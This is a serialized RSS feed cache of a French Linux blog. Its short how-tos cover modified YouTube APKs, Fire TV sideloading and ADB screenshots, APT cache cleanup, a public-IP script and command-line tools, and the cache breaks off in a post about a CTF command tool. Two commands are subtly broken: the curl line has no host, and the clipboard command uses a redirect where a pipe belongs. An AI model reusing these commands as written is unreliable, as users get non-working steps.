> <img src="https://azlinux.fr/uploads/888fbefcc43b6c2a11d631f3cbd4ee86.webp"
	
	
	
	loading="lazy"
	
	
> <img src="https://azlinux.fr/uploads/841060bd61e70e6b35d698c26287f892.webp"
	
	
	
	loading="lazy"
	
	
> <img src="https://azlinux.fr/uploads/fc65a9b2a54ed39cd9c21bbb65449b15.webp"
	
	
	
	loading="lazy"
	
	
> <img src="https://azlinux.fr/uploads/bdea1fd75143a0e335147e7c9a2945fb.webp"
	
	
	
	loading="lazy"
	
	
> <img src="https://azlinux.fr/uploads/a4913e1491f7603148eaea67e8c164b5.webp"
	
	
	
	loading="lazy"
	
	
></p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:41;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:68:"Utilisez Gcam Services Provider pour déverrouiller la Google Camera";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:87:"https://azlinux.fr/utilisez-gcam-services-provider-pour-deverrouiller-la-google-camera/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 28 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:87:"https://azlinux.fr/utilisez-gcam-services-provider-pour-deverrouiller-la-google-camera/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1505:"<img src="https://azlinux.fr/uploads/cb0b19005f878446512f4fb3ee933167.webp" alt="Featured image of post Utilisez Gcam Services Provider pour déverrouiller la Google Camera" /><p>Cette application &ldquo;simule&rdquo; les services Google Play dont l&rsquo;application Google Camera a besoin, ce qui permet d&rsquo;utiliser l&rsquo;application caméra sur des appareils sans services Google Play comme sous LineageOS.</p>
<p>Vous pouvez télécharger la dernière version sur GitHub :</p>
<blockquote>
<p><a class="link" href="https://github.com/lukaspieper/Gcam-Services-Provider/releases"  target="_blank" rel="noopener"
    >github.com/lukaspieper/Gcam-Services-Provider/releases</a></p>
</blockquote>
<p>Si vous n&rsquo;avez pas l&rsquo;application Google Camera, vous pouvez trouver des centaines d&rsquo;APK ici qui fonctionneront avec de grandes chances sur votre appareil si vous choisissez la bonne :)</p>
<blockquote>
<p><a class="link" href="https://celsoazevedo.com/files/android/google-camera"  target="_blank" rel="noopener"
    >celsoazevedo.com/files/android/google-camera</a></p>
</blockquote>
<p>Si malheureusement vous ne parvenez pas à faire fonctionner l&rsquo;application, vous pouvez essayer la caméra fournie par le projet open source à but non lucratif GrapheneOS qui fonctionne parfaitement</p>
<blockquote>
<p><a class="link" href="https://github.com/GrapheneOS/Camera/releases"  target="_blank" rel="noopener"
    >github.com/GrapheneOS/Camera/releases</a></p>
</blockquote>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:42;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:67:"ReVanced supprime les publicités invisibles de YouTube sur Android";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:86:"https://azlinux.fr/revanced-supprime-les-publicites-invisibles-de-youtube-sur-android/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 27 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:86:"https://azlinux.fr/revanced-supprime-les-publicites-invisibles-de-youtube-sur-android/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1880:"<img src="https://azlinux.fr/uploads/fe79d96ab60ffc9bbcdaae274d60a58f.webp" alt="Featured image of post ReVanced supprime les publicités invisibles de YouTube sur Android" /><p>Vous connaissiez probablement YouTube Vanced mais il n&rsquo;est malheureusement plus disponible en raison des menaces de Google envers les développeurs de cesser de distribuer l&rsquo;application</p>
<p>Mais heureusement pour vous, depuis juin, l&rsquo;équipe de ReVanced a repris le développement de cette version modifiée de YouTube.</p>
<p>Pour obtenir cette application, vous pouvez soit la construire à partir des sources disponibles sur leur <a class="link" href="https://github.com/revanced"  target="_blank" rel="noopener"
    >GitHub</a>, soit obtenir l&rsquo;APK sur le canal <a class="link" href="https://t.me/app_revanced"  target="_blank" rel="noopener"
    >Telegram</a> officiel. Cependant, si vous voulez directement l&rsquo;application, je la mets à votre disposition sur le Share azLinux :</p>
<blockquote>
<p><a class="link" href="https://share.azlinux.fr/?dir=ReVanced"  target="_blank" rel="noopener"
    >share.azlinux.fr/?dir=ReVanced</a></p>
</blockquote>
<p>J&rsquo;essaierai de mettre à jour régulièrement ce fichier avec la nouvelle version disponible pour le moment il vous suffit d&rsquo;installer les deux APK disponibles à cette adresse :</p>
<blockquote>
<p><a class="link" href="https://share.azlinux.fr/?dir=ReVanced"  target="_blank" rel="noopener"
    >share.azlinux.fr/?dir=ReVanced</a></p>
</blockquote>
<p>Tout ce que vous avez à faire est de profiter</p>
<p>Si vous voulez une interface simple, je recommande NewPipe qui offre toutes les fonctionnalités de YouTube :</p>
<blockquote>
<p><a class="link" href="https://github.com/polymorphicshade/NewPipe"  target="_blank" rel="noopener"
    >github.com/polymorphicshade/NewPipe</a></p>
</blockquote>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:43;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:65:"Comment installer SmartTubeNext sur l&#039;Amazon Fire TV Stick ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:70:"https://azlinux.fr/installer-smarttubenext-sur-l-amazon-fire-tv-stick/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 26 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:70:"https://azlinux.fr/installer-smarttubenext-sur-l-amazon-fire-tv-stick/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1452:"<img src="https://azlinux.fr/uploads/1e68fdf48d2fc5037ff485b6d892dee8.webp" alt="Featured image of post Comment installer SmartTubeNext sur l'Amazon Fire TV Stick ?" /><p>SmartTubeNext est une application sans publicité pour regarder des vidéos YouTube sur les téléviseurs Android / Fire TV Stick.</p>
<p>Vous devez auparavant installer <a class="link" href="https://amazon.fr/dp/B01N0BP507"  target="_blank" rel="noopener"
    >cette application</a> via le Fire TV App Store :</p>
<p><img src="https://azlinux.fr/uploads/4b25794be0bb8ddd0471711757e1b65b.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Il vous suffit ensuite de vous rendre sur cette application et d&rsquo;entrer le lien suivant : <a class="link" href="https://is.gd/Av2x6E"  target="_blank" rel="noopener"
    >is.gd/Av2x6E</a></p>
<p><img src="https://azlinux.fr/uploads/9cdaf79f0eb7e70e02047ba2fa108866.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Une fois le téléchargement terminé, il vous sera demandé de lancer l&rsquo;installation :</p>
<p><img src="https://azlinux.fr/uploads/0b012f0b4471db6214634903318f380e.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Rien de plus ! Maintenant vous pouvez profiter de YouTube sans les publicités agaçantes.</p>
<p>Si le projet vous est utile, n&rsquo;hésitez pas à soutenir l&rsquo;équipe à l&rsquo;origine du projet : <a class="link" href="https://patreon.com/smarttube"  target="_blank" rel="noopener"
    >patreon.com/smarttube</a>.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:44;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:75:"Comment prendre une capture d&#039;écran sur l&#039;Amazon Fire TV Stick ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:74:"https://azlinux.fr/prendre-une-capture-d-ecran-sur-l-amazon-fire-tv-stick/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 25 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:74:"https://azlinux.fr/prendre-une-capture-d-ecran-sur-l-amazon-fire-tv-stick/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1963:"<img src="https://azlinux.fr/uploads/1e68fdf48d2fc5037ff485b6d892dee8.webp" alt="Featured image of post Comment prendre une capture d'écran sur l'Amazon Fire TV Stick ?" /><h2 id="activer-le-débogage-adb">Activer le débogage ADB</h2>
<ol>
<li>Sur l&rsquo;écran principal de votre Fire TV, sélectionnez Paramètres.</li>
<li>Sélectionnez Ma Fire TV &gt; Options pour les développeurs.</li>
<li>Activez le débogage ADB.</li>
</ol>
<p><img src="https://azlinux.fr/uploads/d6540435ada9df74a115d517beafa2fd.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="configurer-android-debug-bridge">Configurer Android Debug Bridge</h2>
<p>Pour installer ADB sur votre poste, il vous suffit d&rsquo;exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install android-tools-adb
</span></span></code></pre></div><h2 id="se-connecter-à-un-appareil-fire-tv-via-adb">Se connecter à un appareil Fire TV via ADB</h2>
<p>Exécutez cette commande pour vous connecter à la Fire TV :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">adb connect 192.168.1.17
</span></span></code></pre></div><p>Pour enregistrer la capture d&rsquo;écran dans un fichier :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">adb exec-out screencap -p &gt; screenshot.png
</span></span></code></pre></div><p>Pour copier la capture d&rsquo;écran dans le presse-papiers :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">adb exec-out screencap -p &gt; xclip -t image/png
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:45;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:52:"Nettoyer les fichiers du gestionnaire de paquets APT";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:72:"https://azlinux.fr/nettoyer-les-fichiers-du-gestionnaire-de-paquets-apt/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 24 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:72:"https://azlinux.fr/nettoyer-les-fichiers-du-gestionnaire-de-paquets-apt/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1287:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Nettoyer les fichiers du gestionnaire de paquets APT" /><p>APT est le gestionnaire de paquets utilisé par les distributions basées sur Debian, avec lequel vous pouvez installer, supprimer et rechercher des paquets. Cependant, au fil du temps, il accumule des fichiers inutilisés. Par exemple, son cache. Lorsque vous installez un paquet, APT le télécharge d&rsquo;abord, puis l&rsquo;installe. Cependant, le paquet n&rsquo;est pas supprimé et, au fil du temps, il commence à encombrer votre disque.</p>
<p>Pour connaître la taille du cache sur votre machine, vous pouvez exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo du -sh /var/cache/apt/
</span></span></code></pre></div><p>Si vous le souhaitez, vous pouvez libérer cet espace inutilisé en supprimant simplement son contenu par cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo rm /var/cache/apt/*
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:46;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:63:"Comment afficher votre adresse IP publique dans un script shell";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:75:"https://azlinux.fr/afficher-votre-adresse-ip-publique-dans-un-script-shell/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 23 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:75:"https://azlinux.fr/afficher-votre-adresse-ip-publique-dans-un-script-shell/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2161:"<img src="https://azlinux.fr/uploads/7d6389c10c1f3ce45fdd8ca0eb09f8a2.webp" alt="Featured image of post Comment afficher votre adresse IP publique dans un script shell" /><p>Pour afficher votre adresse IP publique dans un script, vous pouvez utiliser la commande ci-dessus dans un script shell. Voici comment procéder :</p>
<ol>
<li>
<p>Ouvrez votre éditeur de texte préféré et créez un nouveau fichier.</p>
</li>
<li>
<p>Dans ce fichier, utilisez la commande ci-dessus pour récupérer votre adresse IP publique :</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="cp"></span><span class="nv">IP</span><span class="o">=</span><span class="k">$(</span>curl -s -4 cdn-cgi/trace <span class="p">|</span> sed -nr <span class="s1">&#39;s/^ip\=(.+)$/\1/p&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Votre adresse IP publique est : </span><span class="nv">$IP</span><span class="s2">&#34;</span>
</span></span></code></pre></div><ol start="3">
<li>
<p>Enregistrez ce fichier et donnez-lui un nom, par exemple <code>afficher_ip.sh</code>.</p>
</li>
<li>
<p>Ouvrez une fenêtre de terminal et rendez ce fichier exécutable en utilisant la commande suivante :</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">chmod +x afficher_ip.sh
</span></span></code></pre></div><ol start="5">
<li>Exécutez le script en utilisant la commande suivante :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">./afficher_ip.sh
</span></span></code></pre></div><p>Vous devriez maintenant voir votre adresse IP publique affichée dans la fenêtre du terminal.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:47;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:42:"pmrp un lecteur radio en ligne de commande";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:62:"https://azlinux.fr/pmrp-un-lecteur-radio-en-ligne-de-commande/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 22 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:62:"https://azlinux.fr/pmrp-un-lecteur-radio-en-ligne-de-commande/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2448:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post pmrp un lecteur radio en ligne de commande" /><p>Le script pmrp est décrit comme étant probablement le meilleur script de lecteur radio, il comprend les fonctionnalités suivantes :</p>
<ul>
<li>350 stations de radio présélectionnées</li>
<li>Navigation facile entre les différentes stations de radio</li>
<li>Informations sur les émissions en cours</li>
<li>Très faible consommation de mémoire</li>
<li>Aucune configuration requise</li>
</ul>
<h2 id="utilisation">Utilisation</h2>
<p>Exécutez cette commande pour utiliser l&rsquo;outil :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pmrp
</span></span></code></pre></div><p>Le rendu ressemble à ceci lorsqu&rsquo;une radio est choisie :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">PMRP  -&gt;  181FM  -&gt;  Techno  -&gt;  The Vibe of Vegas :
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl">Press  [Space]  to pause : Press  [Q]  to stop
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ol>
<li>D&rsquo;abord, nous devons installer la dépendance <code>mpg123</code> :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install mpg123
</span></span></code></pre></div><ol start="2">
<li>Ensuite, nous pouvons télécharger le script :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo wget -P /usr/local/bin/ https://github.com/hakerdefo/pmrp/raw/master/pmrp
</span></span></code></pre></div><ol start="3">
<li>Maintenant nous devons accorder les permissions d&rsquo;exécution :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo chmod <span class="m">755</span> /usr/local/bin/pmrp
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:48;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:97:"iotop un utilitaire pour surveiller les opérations d&#039;écriture par seconde d&#039;un disque";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:105:"https://azlinux.fr/iotop-un-utilitaire-pour-surveiller-les-operations-d-ecriture-par-seconde-d-un-disque/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 21 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:105:"https://azlinux.fr/iotop-un-utilitaire-pour-surveiller-les-operations-d-ecriture-par-seconde-d-un-disque/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1049:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post iotop un utilitaire pour surveiller les opérations d'écriture par seconde d'un disque" /><p>Iotop est comparable à la commande top, mais celle-ci vous permet de surveiller l&rsquo;utilisation de vos disques en temps réel en affichant les opérations de lecture et d&rsquo;écriture effectuées par chaque processus ou thread sur votre système sous la forme d&rsquo;un tableau.</p>
<p><img src="https://azlinux.fr/uploads/91742e7e73b3f5e81cb64f83979f4728.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="utilisation">Utilisation</h2>
<p>Pour lancer l&rsquo;outil, exécutez cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo iotop-c
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<p>Debian : <code>sudo apt install iotop-c</code>
Fedora : <code>sudo yum install iotop-c</code></p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:49;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:61:"carbon un outil pour générer de belles images de votre code";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:79:"https://azlinux.fr/carbon-un-outil-pour-generer-de-belles-images-de-votre-code/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 20 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:79:"https://azlinux.fr/carbon-un-outil-pour-generer-de-belles-images-de-votre-code/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1172:"<img src="https://azlinux.fr/uploads/e8a435af77f706f9541f62361210c8b3.webp" alt="Featured image of post carbon un outil pour générer de belles images de votre code" /><p><img src="https://cdn.jsdelivr.net/gh/mixn/carbon-now-cli@master/static/demo.gif"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="utilisation">Utilisation</h2>
<p>Carbon est un outil en ligne de commande qui vous permet de générer des images de votre code en fournissant un fichier source via cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">carbon-now index.php -i
</span></span></code></pre></div><p><img src="https://azlinux.fr/uploads/f2aef9d8a54f6177e5ee54058f06f33f.svg"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="installation">Installation</h2>
<p>Pour installer cet outil, vous devez installer NPM au préalable puis exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">npm i -g carbon-now-cli
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:50;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:85:"Arsenal un inventaire qui répertorie les commandes dont vous ne vous souvenez jamais";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:27:"https://azlinux.fr/arsenal/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 19 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"https://azlinux.fr/arsenal/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1339:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Arsenal un inventaire qui répertorie les commandes dont vous ne vous souvenez jamais" /><p>Si vous faites régulièrement du &ldquo;Capture The Flag&rdquo;, cet outil écrit en Python et développé par Orange Cyberdefense vous sera certainement très utile. Grâce à lui, vous pouvez rechercher une commande stockée dans sa base de données et il vous fournira une liste d&rsquo;exemples. Vous pouvez également ajouter vous-même les commandes de votre 